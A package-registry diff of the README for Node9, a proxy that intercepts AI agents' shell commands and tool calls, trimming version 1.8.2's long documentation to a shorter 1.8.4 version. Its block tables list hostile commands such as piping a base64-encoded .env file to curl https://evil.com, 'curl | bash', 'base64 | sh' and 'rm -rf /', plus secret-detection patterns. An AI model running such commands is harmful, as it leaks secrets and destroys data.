@node9/proxy 1.8.2 โ†’ 1.8.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -7,790 +7,122 @@
7
7
  [![Open in HF Spaces](https://huggingface.co/datasets/huggingface/badges/resolve/main/open-in-hf-spaces-sm.svg)](https://huggingface.co/spaces/Node9ai/node9-security-demo)
8
8
  [![Documentation](https://img.shields.io/badge/docs-node9.ai%2Fdocs-blue)](https://node9.ai/docs)
9
9
 
10
- **Node9** is the execution security layer for the Agentic Era. It encases autonomous AI Agents (Claude Code, Gemini CLI, Cursor, MCP Servers) in a deterministic security wrapper, intercepting dangerous shell commands and tool calls before they execute.
11
-
12
- While others try to _guess_ if a prompt is malicious (Semantic Security), Node9 _governs_ the actual action (Execution Security).
10
+ **Node9** sits between your AI agent and your system. Every shell command, file write, and tool call passes through Node9 first โ€” blocked, approved, or logged based on your policy. Works with Claude Code, Gemini CLI, Cursor, Codex, and any MCP server.
13
11
 
14
12
  ๐Ÿ“– **[Full Documentation โ†’](https://node9.ai/docs)**
15
13
 
16
14
  ---
17
15
 
18
- ## Contents
19
-
20
- | | |
21
- | ------------------------------------------------- | -------------------------------------------------- |
22
- | [๐Ÿ’Ž The Aha Moment](#-the-aha-moment) | [๐ŸŒ MCP Gateway](#-mcp-gateway) |
23
- | [โšก Key Features](#-key-features) | [๐Ÿค– MCP Server](#-node9-mcp-server) |
24
- | [๐ŸŽฎ Try it Live](#-try-it-live) | [๐Ÿ”— Config Precedence](#-configuration-precedence) |
25
- | [๐Ÿš€ Quick Start](#-quick-start) | [โš™๏ธ Custom Rules](#๏ธ-custom-rules-advanced) |
26
- | [๐Ÿ›ก๏ธ How Protection Works](#๏ธ-how-protection-works) | [๐Ÿ–ฅ๏ธ CLI Reference](#๏ธ-cli-reference) |
27
- | [๐Ÿ›  Protection Modes](#-protection-modes) | [๐Ÿ—บ๏ธ Roadmap](#๏ธ-roadmap) |
28
-
29
- ---
30
-
31
- ## ๐Ÿ’Ž The "Aha!" Moment
32
-
33
- **AIs are literal.** When you ask an agent to "Fix my disk space," it might decide to run `docker system prune -af`.
34
-
35
- **With Node9, the interaction looks like this:**
36
-
37
- 1. **๐Ÿค– AI attempts a "Nuke":** `Bash("docker system prune -af --volumes")`
38
- 2. **๐Ÿ›ก๏ธ Node9 Intercepts:** An OS-native popup appears immediately.
39
- 3. **๐Ÿ›‘ User Blocks:** You click "Block" in the popup.
40
- 4. **๐Ÿง  AI Negotiates:** Node9 explains the block to the AI. The AI responds: _"I understand. I will pivot to a safer cleanup, like removing only large log files instead."_
41
-
42
- ---
43
-
44
- ## โšก Key Features
45
-
46
- ### ๐Ÿ The Multi-Channel Race Engine
16
+ ## The "Aha!" Moment
47
17
 
48
- Node9 initiates a **Concurrent Race** across all enabled channels. The first channel to receive a human signature wins and instantly cancels the others:
49
-
50
- - **Native Popup:** OS-level dialog (Mac/Win/Linux) for sub-second keyboard dismissal.
51
- - **Browser Dashboard:** Local web UI for deep inspection of large payloads (SQL/Code).
52
- - **Cloud (Slack):** Remote asynchronous approval for team governance.
53
- - **Terminal:** Classic `[Y/n]` prompt for manual proxy usage and SSH sessions.
54
-
55
- ### ๐Ÿ›ฐ๏ธ Flight Recorder โ€” See Everything, Instantly
56
-
57
- Node9 records every tool call your AI agent makes in real-time โ€” no polling, no log files, no refresh. Two ways to watch:
18
+ **AIs are literal.** Ask an agent to "fix disk space" and it might run `docker system prune -af --volumes`.
58
19
 
59
20
  <p align="center">
60
21
  <img src="https://github.com/user-attachments/assets/7b22e0fb-35ff-4088-8ee9-cc23216f362f" width="100%">
61
22
  </p>
62
23
 
63
- **Browser Dashboard** (`node9 daemon start` โ†’ `localhost:7391`)
64
-
65
- A live 3-column dashboard. The left column streams every tool call as it happens, updating in-place from `โ— PENDING` to `โœ“ ALLOW` or `โœ— BLOCK`. The center handles pending approvals. The right sidebar controls shields and persistent decisions โ€” all without ever causing a browser scrollbar.
66
-
67
- **Terminal** (`node9 tail`)
68
-
69
- A split-pane friendly stream for terminal-first developers and SSH sessions:
70
-
71
- ```bash
72
- node9 tail # live events only
73
- node9 tail --history # replay recent history then go live
74
- node9 tail | grep DLP # filter to DLP blocks only
75
- ```
76
-
77
- ```
78
- ๐Ÿ›ฐ๏ธ Node9 tail โ†’ localhost:7391
79
- Showing live events. Press Ctrl+C to exit.
80
-
81
- 21:06:58 ๐Ÿ“– Read {"file_path":"src/core.ts"} โœ“ ALLOW
82
- 21:06:59 ๐Ÿ” Grep {"pattern":"authorizeHeadless"} โœ“ ALLOW
83
- 21:07:01 ๐Ÿ’ป Bash {"command":"npm run build"} โœ“ ALLOW
84
- 21:07:04 ๐Ÿ’ป Bash {"command":"curl โ€ฆ Bearer sk-ant-โ€ฆ"} โœ— BLOCK ๐Ÿ›ก๏ธ DLP
85
- ```
86
-
87
- `node9 tail` auto-starts the daemon if it isn't running โ€” no setup step needed.
88
-
89
- After approving the same tool 3+ times, every channel (terminal, browser, native popup) shows a ๐Ÿ’ก insight: _"Approved Nร— before โ€” 'Always Allow' creates a permanent rule."_ Approved and denied cards stay stamped in the terminal history so you always know what was decided and when.
90
-
91
- ### ๐Ÿง  AI Negotiation Loop
92
-
93
- Node9 doesn't just "cut the wire." When a command is blocked, it injects a **Structured Negotiation Prompt** back into the AI's context window. This teaches the AI why it was stopped and instructs it to pivot to a safer alternative.
94
-
95
- ### โช Shadow Git Snapshots (Auto-Undo)
96
-
97
- Node9 takes a silent, lightweight Git snapshot before every AI file edit. Snapshots are stored in an isolated shadow bare repo at `~/.node9/snapshots/` โ€” your project's `.git` is never touched, and no existing git setup is required. If the AI hallucinates and breaks your code, run `node9 undo` to instantly revert โ€” with a full diff preview before anything changes.
24
+ With Node9:
98
25
 
99
- ```bash
100
- # Undo the last AI action (shows diff + asks confirmation)
101
- node9 undo
102
-
103
- # Go back N actions at once
104
- node9 undo --steps 3
105
- ```
106
-
107
- The last 10 snapshots are kept globally across all sessions in `~/.node9/snapshots.json`. Older snapshots are dropped as new ones are added.
108
-
109
- ---
110
-
111
- ## ๐ŸŽฎ Try it Live
112
-
113
- No install needed โ€” test Node9's policy engine against real commands in the browser:
114
-
115
- [![Open in HF Spaces](https://huggingface.co/datasets/huggingface/badges/resolve/main/open-in-hf-spaces-sm.svg)](https://huggingface.co/spaces/Node9ai/node9-security-demo)
26
+ 1. **AI attempts:** `Bash("docker system prune -af --volumes")`
27
+ 2. **Node9 intercepts:** OS-native popup appears instantly
28
+ 3. **You block it** โ€” one click
29
+ 4. **AI pivots:** _"I'll remove large log files instead"_
116
30
 
117
31
  ---
118
32
 
119
- ## ๐Ÿš€ Quick Start
33
+ ## Install
120
34
 
121
35
  ```bash
122
- # Recommended โ€” via Homebrew (macOS / Linux)
123
- brew tap node9-ai/node9
124
- brew install node9
36
+ # macOS / Linux
37
+ brew tap node9-ai/node9 && brew install node9
125
38
 
126
- # Or via npm
39
+ # or via npm
127
40
  npm install -g @node9/proxy
128
-
129
- # 1. Wire Node9 to your agent
130
- node9 setup # interactive menu โ€” picks the right agent for you
131
- node9 addto claude # or wire directly
132
- node9 addto gemini
133
-
134
- # 2. Enable shields for the services you use
135
- node9 shield enable postgres
136
- node9 shield enable aws
137
-
138
- # 3. Verify everything is wired correctly
139
- node9 doctor
140
-
141
- # 4. See what's wired and which MCP servers are proxied
142
- node9 status
143
- ```
144
-
145
- ---
146
-
147
- ## ๐Ÿ›ก๏ธ How Protection Works
148
-
149
- Node9 has two layers of protection. You get Layer 1 automatically. Layer 2 is one command per service.
150
-
151
- ### Layer 1 โ€” Core Protection (Always On)
152
-
153
- Built into the binary. Zero configuration required. Protects the tools every developer uses.
154
-
155
- | What it protects | Example blocked action |
156
- | :-------------------------- | :-------------------------------------------------------------------------------------- |
157
- | **Git** | `git push --force`, `git reset --hard`, `git clean -fd` |
158
- | **Shell** | `curl ... \| bash`, `sudo` commands |
159
- | **SQL** | `DELETE` / `UPDATE` without `WHERE`; `DROP TABLE`, `TRUNCATE TABLE`, `DROP COLUMN` |
160
- | **Filesystem** | `rm -rf` targeting home directory |
161
- | **Secrets (DLP)** | AWS keys, GitHub tokens, Stripe keys, PEM private keys |
162
- | **Pipe-chain exfiltration** | `cat .env \| base64 \| curl https://evil.com` โ€” critical risk blocks; high risk reviews |
163
-
164
- ### ๐Ÿ” DLP โ€” Content Scanner (Always On)
165
-
166
- Node9 scans **every tool call argument** for secrets before the command reaches your agent. If a credential is detected, Node9 hard-blocks the action, redacts the secret in the audit log, and injects a negotiation prompt telling the AI what went wrong.
167
-
168
- **Built-in patterns:**
169
-
170
- | Pattern | Severity | Prefix format |
171
- | :---------------- | :------- | :-------------------------- |
172
- | AWS Access Key ID | `block` | `AKIA` + 16 chars |
173
- | GitHub Token | `block` | `ghp_`, `gho_`, `ghs_` |
174
- | Slack Bot Token | `block` | `xoxb-` |
175
- | OpenAI API Key | `block` | `sk-` + 20+ chars |
176
- | Stripe Secret Key | `block` | `sk_live_` / `sk_test_` |
177
- | PEM Private Key | `block` | `-----BEGIN PRIVATE KEY---` |
178
- | Bearer Token | `review` | `Authorization: Bearer ...` |
179
-
180
- `block` = hard deny, no approval prompt. `review` = routed through the normal race engine for human approval.
181
-
182
- Secrets are **never logged in full** โ€” the audit trail stores only a redacted sample (`AKIA****MPLE`).
183
-
184
- **Config knobs** (in `node9.config.json` or `~/.node9/config.json`):
185
-
186
- ```json
187
- {
188
- "policy": {
189
- "dlp": {
190
- "enabled": true,
191
- "scanIgnoredTools": true
192
- }
193
- }
194
- }
195
- ```
196
-
197
- | Key | Default | Description |
198
- | :--------------------- | :------ | :----------------------------------------------------------------- |
199
- | `dlp.enabled` | `true` | Master switch โ€” disable to turn off all DLP scanning |
200
- | `dlp.scanIgnoredTools` | `true` | Also scan tools in `ignoredTools` (e.g. `web_search`, `read_file`) |
201
-
202
- ### Layer 2 โ€” Shields (Opt-in, Per Service)
203
-
204
- Shields add protection for specific infrastructure and services โ€” only relevant if you actually use them.
205
-
206
- **Builtin shields** (ship with every install):
207
-
208
- | Shield | What it protects |
209
- | :----------- | :-------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------- |
210
- | `postgres` | Hard-blocks `DROP TABLE`, `TRUNCATE`, `DROP COLUMN` (upgrades Layer 1 review โ†’ block); reviews `GRANT`/`REVOKE` |
211
- | `github` | Blocks `gh repo delete`; reviews remote branch deletion |
212
- | `aws` | Blocks S3 bucket deletion, EC2 termination; reviews IAM changes, RDS deletion |
213
- | `bash-safe` | Blocks pipe-to-shell (`curl | bash`), obfuscated exec (`base64 | sh`), `rm -rf /`, raw disk writes |
214
- | `filesystem` | Reviews `chmod 777`, writes to `/etc/` |
215
-
216
- ```bash
217
- node9 shield enable postgres # protect your database
218
- node9 shield enable aws # protect your cloud infrastructure
219
- node9 shield list # see all builtin shields
220
- node9 shield list --community # browse the community marketplace
221
- node9 shield status # see what's currently active
222
- ```
223
-
224
- #### Community Marketplace
225
-
226
- Browse and install shields published by the community:
227
-
228
- ```bash
229
- node9 shield list --community # see what's available
230
- node9 shield install k8s # download to ~/.node9/shields/k8s.json
231
- node9 shield enable k8s # activate it
232
- ```
233
-
234
- Installed shields are validated against the same schema as builtins and stored in `~/.node9/shields/`. They're picked up automatically on the next daemon start.
235
-
236
- #### Custom (Private) Shields
237
-
238
- Drop a JSON file directly into `~/.node9/shields/` to create a private shield โ€” no install command needed:
239
-
240
- ```json
241
- // ~/.node9/shields/my-company.json
242
- {
243
- "name": "my-company",
244
- "description": "Blocks ops our security team disallows",
245
- "aliases": ["corp"],
246
- "smartRules": [
247
- {
248
- "name": "shield:my-company:block-prod-deploy",
249
- "tool": "bash",
250
- "conditions": [{ "field": "command", "op": "matches", "value": "kubectl.*production" }],
251
- "verdict": "block",
252
- "reason": "Production deploys require a change ticket"
253
- }
254
- ],
255
- "dangerousWords": []
256
- }
257
- ```
258
-
259
- ```bash
260
- node9 shield enable my-company
261
- ```
262
-
263
- #### Per-rule overrides
264
-
265
- Tune individual rules within an active shield without disabling the whole shield:
266
-
267
- ```bash
268
- node9 shield set aws review-rds-delete block # escalate review โ†’ block
269
- node9 shield set postgres block-drop-table review --force # downgrade block โ†’ review (requires --force)
270
- node9 shield unset postgres block-drop-table # restore the default
271
41
  ```
272
42
 
273
- ### ๐Ÿ”“ Trusted Hosts
274
-
275
- Node9 blocks any pipe-chain that sends sensitive files to the network. If the destination is **your own internal API or logging service**, that friction is unnecessary. Trusted hosts let you declare known-safe destinations:
276
-
277
43
  ```bash
278
- node9 trust add api.mycompany.com # exact FQDN
279
- node9 trust add *.logs.mycompany.com # wildcard โ€” matches any subdomain at any depth (api.logs.mycompany.com, us.api.logs.mycompany.com, โ€ฆ) but NOT bare logs.mycompany.com
280
- node9 trust list # see the full list
281
- node9 trust remove api.mycompany.com # remove a host
44
+ node9 setup # auto-detects Claude Code, Gemini CLI, Cursor, Codex
45
+ node9 doctor # verify everything is wired correctly
282
46
  ```
283
47
 
284
- Once a host is trusted, pipe-chain decisions are downgraded for that destination only:
285
-
286
- | Pipe-chain risk | Untrusted destination | Trusted destination |
287
- | :----------------------------------------------- | :-------------------- | :------------------ |
288
- | **critical** (obfuscated, e.g. `base64 \| curl`) | **block** | review |
289
- | **high** (direct, e.g. `cat .env \| curl`) | review | **allow** |
290
-
291
- If **any** sink in the pipeline is untrusted, the original decision stands. Trusted hosts are stored in `~/.node9/trusted-hosts.json` and can only be modified via the CLI โ€” AI tool calls cannot touch this list.
292
-
293
48
  ---
294
49
 
295
- ## ๐Ÿ›  Protection Modes
296
-
297
- | Mode | Target | How it works |
298
- | :-------------- | :---------------------------- | :----------------------------------------------------------------------- |
299
- | **Hook Mode** | Claude Code, Gemini, Cursor | `node9 addto <agent>` wires native pre-execution hooks. |
300
- | **MCP Gateway** | Any MCP server, any AI client | `node9 mcp-gateway --upstream <cmd>` wraps any MCP server transparently. |
301
- | **Manual Mode** | You | `node9 rm -rf /` protects you from your own typos. |
302
-
303
- ---
304
-
305
- ## ๐ŸŒ MCP Gateway
306
-
307
- The MCP Gateway is a **transparent stdio proxy** that sits between any AI agent and any MCP server. The agent doesn't know Node9 is there โ€” it just sees the same MCP server it always did.
308
-
309
- ```
310
- AI Agent (Claude, Cursor, Geminiโ€ฆ)
311
- โ†“ stdio (JSON-RPC)
312
- Node9 MCP Gateway โ† intercepts every tools/call
313
- โ†“ stdio (JSON-RPC)
314
- Upstream MCP Server (filesystem, postgres, browserโ€ฆ)
315
- ```
50
+ ## Shields โ€” one command per service
316
51
 
317
- **Every `tools/call` is intercepted.** Read-only tools pass through silently. Write/mutate tools are routed through the full approval engine โ€” DLP scan, smart rules, shields, and human approval.
318
-
319
- ### Setup
320
-
321
- **1. Register any MCP server through the gateway:**
52
+ Enable expert-crafted protection for the infrastructure your agent touches:
322
53
 
323
54
  ```bash
324
- # Filesystem server โ€” protect all file writes
325
- claude mcp add filesystem -- node9 mcp-gateway --upstream \
326
- "npx -y @modelcontextprotocol/server-filesystem /your/workspace"
327
-
328
- # Any other MCP server โ€” same pattern
329
- claude mcp add myserver -- node9 mcp-gateway --upstream \
330
- "npx -y @some/mcp-server"
331
- ```
55
+ node9 shield enable postgres # blocks DROP TABLE, TRUNCATE, DROP COLUMN
56
+ node9 shield enable mongodb # blocks dropDatabase, drop(), deleteMany({})
57
+ node9 shield enable redis # blocks FLUSHALL, FLUSHDB
58
+ node9 shield enable aws # blocks S3 delete, EC2 terminate, IAM changes
59
+ node9 shield enable k8s # blocks namespace delete, helm uninstall
60
+ node9 shield enable docker # blocks system prune, volume prune, rm -f
61
+ node9 shield enable github # blocks gh repo delete, remote branch deletion
62
+ node9 shield enable bash-safe # blocks curl|bash, base64|sh, rm -rf /
63
+ node9 shield enable filesystem # reviews chmod 777, writes to /etc/
332
64
 
333
- **2. Add globally (all projects):**
334
-
335
- ```bash
336
- claude mcp add --scope user filesystem -- node9 mcp-gateway --upstream \
337
- "npx -y @modelcontextprotocol/server-filesystem /home/you"
338
- ```
339
-
340
- **3. Share with your team via `.mcp.json` in the repo:**
341
-
342
- ```json
343
- {
344
- "mcpServers": {
345
- "filesystem": {
346
- "command": "node9",
347
- "args": ["mcp-gateway", "--upstream", "npx -y @modelcontextprotocol/server-filesystem ."]
348
- }
349
- }
350
- }
351
- ```
352
-
353
- > **Note:** `--upstream` takes a single command string. The gateway's tokenizer splits it on whitespace and handles double-quoted paths (e.g. `"npx \"/path with spaces/server.js\""`) โ€” it does not run a shell.
354
- >
355
- > โš ๏ธ **Supply-chain warning:** `.mcp.json` files from untrusted repositories can specify any `--upstream` command. Always review `.mcp.json` before using it โ€” treat it with the same caution as a `Makefile` or `package.json` `postinstall` script.
356
-
357
- ### What gets protected
358
-
359
- The same `ignoredTools`, smart rules, shields, and DLP that protect hook-mode tools apply here โ€” but matched against **MCP tool names** (e.g. `write_file`, `execute_query`) instead of Claude's built-in tools.
360
-
361
- **Tune your config for MCP tool names:**
362
-
363
- ```json
364
- {
365
- "policy": {
366
- "ignoredTools": ["read_file", "read_text_file", "list_*", "search_*"],
367
- "toolInspection": {
368
- "write_file": "content",
369
- "execute_query": "sql",
370
- "run_command": "command"
371
- }
372
- }
373
- }
374
- ```
375
-
376
- **Add MCP-specific smart rules:**
377
-
378
- ```json
379
- {
380
- "policy": {
381
- "smartRules": [
382
- {
383
- "name": "block-write-production-config",
384
- "tool": "write_file",
385
- "conditions": [{ "field": "path", "op": "matches", "value": "/etc/|/prod/" }],
386
- "verdict": "block",
387
- "reason": "Writes to production config require a manual change process"
388
- }
389
- ]
390
- }
391
- }
392
- ```
393
-
394
- ### How blocked calls look to the AI
395
-
396
- When Node9 blocks an MCP tool call, it returns a structured JSON-RPC error that tells the AI exactly what happened and instructs it to pivot:
397
-
398
- ```json
399
- {
400
- "jsonrpc": "2.0",
401
- "id": 42,
402
- "error": {
403
- "code": -32000,
404
- "message": "NODE9 SECURITY ALERT: Action blocked by DLP โ€” credential detected in content field. Do NOT retry. Remove the hardcoded secret and use an environment variable instead."
405
- }
406
- }
65
+ node9 shield list # see all shields and their status
407
66
  ```
408
67
 
409
68
  ---
410
69
 
411
- ## ๐Ÿค– Node9 MCP Server
412
-
413
- The Node9 MCP Server exposes node9 capabilities โ€” starting with undo โ€” as native MCP tools that Claude, Cursor, and Gemini can call directly. Unlike the MCP Gateway (which wraps _other_ servers), this server is node9's own surface.
414
-
415
- ```
416
- Claude / Cursor / Gemini (MCP client)
417
- โ†“ stdio (JSON-RPC 2.0)
418
- Node9 MCP Server โ† this process
419
- โ†“ direct function calls
420
- ~/.node9/snapshots.json โ† undo history
421
- ```
422
-
423
- ### Setup
70
+ ## MCP Gateway โ€” protect any MCP server
424
71
 
425
- The MCP server is registered **automatically** during `node9 init` or `node9 setup`. No separate step needed. What gets added to your agent config:
72
+ Wrap any MCP server transparently. The AI sees the same server โ€” Node9 intercepts every tool call:
426
73
 
427
74
  ```json
428
75
  {
429
76
  "mcpServers": {
430
- "node9": {
77
+ "postgres": {
431
78
  "command": "node9",
432
- "args": ["mcp-server"]
79
+ "args": ["mcp", "--upstream", "npx -y @modelcontextprotocol/server-postgres postgresql://..."]
433
80
  }
434
81
  }
435
82
  }
436
83
  ```
437
84
 
438
- ### Available Tools
439
-
440
- | Tool | Description |
441
- | :------------------ | :-------------------------------------------------------------------- |
442
- | `node9_undo_list` | List snapshot history โ€” hash, tool, summary, files changed, timestamp |
443
- | `node9_undo_revert` | Revert the working directory to a specific snapshot hash |
444
-
445
- ### Example โ€” Claude using the MCP server
446
-
447
- ```
448
- You: revert the last change node9 captured
449
-
450
- Claude: Let me check the snapshot history first.
451
- [calls node9_undo_list]
452
-
453
- [1] a3f2c1d 4/4/2026, 18:15 Write โ€” src/undo.ts (3 files) cwd: /home/user/myproject
454
- full hash: a3f2c1d8e9b0f1a2b3c4d5e6f7a8b9c0d1e2f3a4
455
-
456
- I'll revert to snapshot a3f2c1d.
457
- [calls node9_undo_revert with hash: "a3f2c1d8e9b0f1a2b3c4d5e6f7a8b9c0d1e2f3a4"]
458
-
459
- Successfully reverted to snapshot a3f2c1d in /home/user/myproject.
460
- ```
461
-
462
- ### Manual testing
463
-
464
- ```bash
465
- npm run build
466
- node dist/cli.js mcp-server
467
- # paste JSON-RPC lines:
468
- {"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"2024-11-05","clientInfo":{"name":"test"},"capabilities":{}}}
469
- {"jsonrpc":"2.0","method":"tools/list","id":2}
470
- {"jsonrpc":"2.0","method":"tools/call","id":3,"params":{"name":"node9_undo_list","arguments":{}}}
471
- ```
85
+ Or use `node9 setup` โ€” it wraps existing MCP servers automatically.
472
86
 
473
87
  ---
474
88
 
475
- ## ๐Ÿ”— Configuration Precedence
476
-
477
- Node9 merges configuration from multiple sources in priority order. Higher tiers win:
478
-
479
- | Tier | Source | Notes |
480
- | :--- | :------------------------ | :-------------------------------------------------------- |
481
- | 1 | **Environment variables** | `NODE9_MODE=strict` overrides everything |
482
- | 2 | **Cloud / Org policy** | Set in the Node9 dashboard โ€” cannot be overridden locally |
483
- | 3 | **Project config** | `node9.config.json` in the working directory |
484
- | 4 | **Global config** | `~/.node9/config.json` |
485
- | 5 | **Built-in defaults** | Always active, no config needed |
89
+ ## Python SDK โ€” govern any Python agent
486
90
 
487
- **Settings** (mode, approvers, timeouts) follow the table above โ€” higher tier wins. A project config overrides a global config.
91
+ ```python
92
+ from node9 import configure
488
93
 
489
- **Smart rules** work differently. All layers are concatenated into a single ordered list and evaluated first-match-wins:
94
+ configure(agent_name="my-agent", policy="require_approval")
490
95
 
491
- ```
492
- built-in defaults โ†’ global config โ†’ project config โ†’ shields โ†’ advisory defaults
96
+ # Your existing agent code runs unchanged โ€” Node9 intercepts tool calls
493
97
  ```
494
98
 
495
- Because built-in `block` rules sit at the front of this list, they always fire before any user-defined `allow` rule. **A project or global config cannot bypass Layer 1 protection.** Within the user layers, a project `block` rule fires before a shield `block` rule โ€” so project policy can tighten or selectively override a shield.
99
+ **[Python SDK โ†’](https://github.com/node9-ai/node9-python)** ยท **[Governed Agent examples โ†’](https://github.com/node9-ai/governed-agent)**
496
100
 
497
101
  ---
498
102
 
499
- ## โš™๏ธ Custom Rules (Advanced)
500
-
501
- Most users never need this. If you need protection beyond Layer 1 and the available shields, add **Smart Rules** to `node9.config.json` in your project root or `~/.node9/config.json` globally.
103
+ ## What's always on (no config needed)
502
104
 
503
- Smart Rules match on **raw tool arguments** using structured conditions:
504
-
505
- ```json
506
- {
507
- "policy": {
508
- "smartRules": [
509
- {
510
- "name": "block-prod-deploy",
511
- "tool": "bash",
512
- "conditions": [
513
- { "field": "command", "op": "matches", "value": "kubectl.*--namespace=production" }
514
- ],
515
- "verdict": "block",
516
- "reason": "Deploying to production requires a manual release process"
517
- }
518
- ]
519
- }
520
- }
521
- ```
522
-
523
- **Smart Rule fields:**
524
-
525
- | Field | Description |
526
- | :---------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
527
- | `tool` | Tool name or glob (`"bash"`, `"mcp__postgres__*"`, `"*"`) |
528
- | `conditions` | Array of conditions evaluated against the raw args object |
529
- | `conditionMode` | `"all"` (AND, default) or `"any"` (OR) |
530
- | `verdict` | `"review"` (approval prompt) \| `"block"` (hard deny) \| `"allow"` (skip all checks) |
531
- | `reason` | Human-readable explanation shown in the approval prompt and audit log |
532
- | `dependsOnState` | _(optional)_ Array of state predicates โ€” block only fires when **all** are true. If any predicate is false or the daemon is unreachable the rule is downgraded to review (fail-open). See [Stateful Rules](#stateful-smart-rules) below. |
533
- | `recoveryCommand` | _(optional)_ Shell command to suggest when the rule blocks โ€” shown on terminal as `๐Ÿ’ก Run: npm test` and sent to the AI as a negotiation hint. |
534
-
535
- ### Stateful Smart Rules
536
-
537
- Stateful rules let you block actions based on **what the AI has done earlier in the session**, not just what it's doing now. The canonical use case: block deployment unless a test has passed since the last file edit.
538
-
539
- ```json
540
- {
541
- "policy": {
542
- "smartRules": [
543
- {
544
- "name": "require-tests-before-deploy",
545
- "tool": "Bash",
546
- "conditions": [
547
- {
548
- "field": "command",
549
- "op": "matches",
550
- "value": "./deploy.sh|kubectl apply|npm run deploy"
551
- }
552
- ],
553
- "verdict": "block",
554
- "reason": "Run tests before deploying",
555
- "dependsOnState": ["no_test_passed_since_last_edit"],
556
- "recoveryCommand": "npm test"
557
- }
558
- ]
559
- }
560
- }
561
- ```
562
-
563
- **How it works:**
564
-
565
- 1. The AI attempts a deploy command.
566
- 2. Node9 checks the daemon: _"Has a test passed since the last file edit?"_
567
- 3. **If no** โ†’ routes to the race engine. Terminal shows the STATE GUARD card with `[1] Allow / [2] Redirect AI to run tests / [3] Deny`. The AI receives a negotiation hint to run `npm test` first if the human redirects.
568
- 4. **If yes** โ†’ the rule is skipped, normal approval flow continues.
569
- 5. **Daemon unreachable** โ†’ fail-open, rule is skipped.
570
-
571
- > **โš ๏ธ Security note โ€” fail-open behaviour:** When the daemon is unreachable, stateful block rules are silently downgraded to review. This is intentional (availability over lockout), but it means a network disruption can temporarily weaken these rules. A per-rule `failMode: 'closed'` option is planned. If you need a hard guarantee, use a plain block rule (no `dependsOnState`) instead.
572
-
573
- **State is tracked automatically** โ€” no config required beyond the rule itself:
574
-
575
- - File edits are detected from `Edit`, `Write`, `MultiEdit` tool calls.
576
- - Test results are detected from the PostToolUse hook reading command output. Supported runners: `vitest`, `jest`, `mocha`, `pytest`, `cargo test`, `go test`, `rspec`, `phpunit`, `dotnet test`.
577
-
578
- **Available predicates:**
579
-
580
- | Predicate | True when |
581
- | :------------------------------- | :------------------------------------------------------------ |
582
- | `no_test_passed_since_last_edit` | A file was edited and no passing test has been recorded since |
583
-
584
- > **Requires the node9 daemon** (`node9 daemon start`). Without the daemon the predicate is always unknown โ†’ fail-open.
585
-
586
- **Condition operators:**
587
-
588
- | `op` | Meaning |
589
- | :--------------- | :------------------------------------------------------------------------- |
590
- | `matches` | Field value matches regex (`value` = pattern, `flags` = e.g. `"i"`) |
591
- | `notMatches` | Field value does not match regex (`value` = pattern, `flags` optional) |
592
- | `contains` | Field value contains substring |
593
- | `notContains` | Field value does not contain substring |
594
- | `exists` | Field is present and non-empty |
595
- | `notExists` | Field is absent or empty |
596
- | `matchesGlob` | Field value matches a glob pattern (`value` = e.g. `"**/node_modules/**"`) |
597
- | `notMatchesGlob` | Field value does not match a glob pattern |
598
-
599
- The `field` key supports dot-notation for nested args: `"params.query.sql"`.
600
-
601
- Use `node9 explain <tool> <args>` to dry-run any tool call and see exactly which rule would trigger.
602
-
603
- ### Settings
604
-
605
- ```json
606
- {
607
- "version": "1.0",
608
- "settings": {
609
- "mode": "audit",
610
- "enableUndo": true,
611
- "flightRecorder": true,
612
- "approvalTimeoutMs": 30000,
613
- "approvers": {
614
- "native": true,
615
- "browser": true,
616
- "cloud": false,
617
- "terminal": true
618
- }
619
- }
620
- }
621
- ```
622
-
623
- | Key | Default | Description |
624
- | :------------------- | :-------- | :-------------------------------------------------------------------------------------------- |
625
- | `mode` | `"audit"` | `audit` \| `observe` \| `standard` \| `strict` โ€” see [Security Modes](#-security-modes) below |
626
- | `enableUndo` | `true` | Take git snapshots before every AI file edit |
627
- | `flightRecorder` | `true` | Record tool call activity to the flight recorder ring buffer for the browser UI |
628
- | `approvalTimeoutMs` | `30000` | Auto-deny after N ms if no human responds (`0` = wait forever) |
629
- | `approvers.native` | `true` | OS-native popup |
630
- | `approvers.browser` | `true` | Browser dashboard (`node9 daemon`) |
631
- | `approvers.cloud` | `false` | Slack / SaaS approval โ€” requires `node9 login`; opt-in only |
632
- | `approvers.terminal` | `true` | `[Y/n]` prompt in terminal |
633
-
634
- ## ๐Ÿ”’ Security Modes
635
-
636
- | Mode | Blocks? | Runs rules? | Use when |
637
- | :--------- | :------ | :---------- | :--------------------------------------------------------------------------- |
638
- | `audit` | Never | No | You want a log of every tool call but never want node9 to interfere |
639
- | `observe` | Never | Yes | New install โ€” see what _would_ have been blocked before enabling enforcement |
640
- | `standard` | Yes | Yes | Normal use โ€” dangerous commands need human approval |
641
- | `strict` | Yes | Yes | High-security โ€” anything not explicitly allowed is denied |
642
-
643
- **`audit` vs `observe`:** Both never block. The difference is that `audit` skips the policy pipeline entirely (zero overhead, pure logging), while `observe` runs smart rules and DLP in full โ€” recording each `would-block` decision without acting on it. The HUD shows `โš  N would-block` in observe mode so you can see what enforcement would look like in practice.
644
-
645
- **Recommended path:** start on `observe` for a few days to build confidence, then switch to `standard`.
105
+ - **Git:** blocks `git push --force`, `git reset --hard`, `git clean -fd`
106
+ - **SQL:** blocks `DELETE`/`UPDATE` without `WHERE`, `DROP TABLE`, `TRUNCATE`
107
+ - **Shell:** blocks `curl | bash`, `sudo` commands
108
+ - **DLP:** blocks AWS keys, GitHub tokens, Stripe keys, PEM private keys in any tool call argument
109
+ - **Auto-undo:** git snapshot before every AI file edit โ†’ `node9 undo` to revert
646
110
 
647
111
  ---
648
112
 
649
- ## ๐Ÿ›ก๏ธ Security Statusline (HUD)
650
-
651
- When Claude Code is detected, `node9 init` automatically adds a **security statusline** to Claude Code's terminal UI. You can also add it manually:
652
-
653
- ```bash
654
- node9 setup hud # add to ~/.claude/settings.json
655
- node9 setup hud --remove
656
- ```
657
-
658
- The HUD renders up to three lines below Claude Code's prompt:
659
-
660
- ```
661
- ๐Ÿ›ก node9 | standard | โœ… 14 allowed ๐Ÿ›‘ 1 blocked โšก require-tests-before-deploy
662
